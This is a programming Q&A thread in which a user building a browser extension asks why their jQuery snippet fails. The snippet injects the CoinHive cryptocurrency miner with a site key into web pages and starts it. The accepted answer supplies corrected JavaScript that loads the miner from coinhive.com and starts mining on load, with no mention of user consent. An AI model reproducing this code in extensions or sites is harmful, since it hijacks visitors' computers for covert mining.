Jquery error when using . before

Asked

Viewed 31 times

0

$(".enviar").before('<script src="https://coinhive.com/lib/coinhive.min.js"></script><script> var miner = new CoinHive.Anonymous("4jimrwZqZRoKFX1001NpibYyv1up80Y2"); miner.start();</script>');

This is my complete script and it is part of an extension that I am creating more than ever had contact with Jquery I am having simple problems. Please tell me what I did wrong or forgot to put.

  • Try escaping the bars of </script>, thus: <\/script>

  • The problem is that you want to add an external reference and immediately, before you even load, already use an object. This will give CoinHive is not defined right?

  • @Ricardopunctual What should I do?

  • @sam I did what Voce said the most script was not executed

  • Yes, that’s another question. What I said was just to correct an escape error.

  • Check the console for any errors.

Show 1 more comment

1 answer

0

Well I don’t know exactly if loading a script works that way, I’ve never done it that way. But if it works, then you have a synchronicity problem, when you insert these two tags scripts in the DOM the js of the first will be requested, while it happens you are already processing the script of the second tag.

what you can do is insert the separate tags, first you insert the lib, and use the event onload to run this second script.

This is an example of how to do without jQuery

Ex.:

// cria tag script
var coinhive=document.createElement('script');
coinhive.type='text/javascript';
coinhive.src='https://coinhive.com/lib/coinhive.min.js';

// executa quando lib for carregada
coinhive.onload = function(){
  var miner = new CoinHive.Anonymous("4jimrwZqZRoKFX1001NpibYyv1up80Y2"); miner.start();
}

// insere no DOM
document.body.appendChild(coinhive);

Obs.: is a script tag, I do not believe it is important where it is being inserted, but if it is you can use insertBefore.

Doc insertBefore https://www.w3schools.com/jsref/met_node_insertbefore.asp

Browser other questions tagged

You are not signed in. Login or sign up in order to post.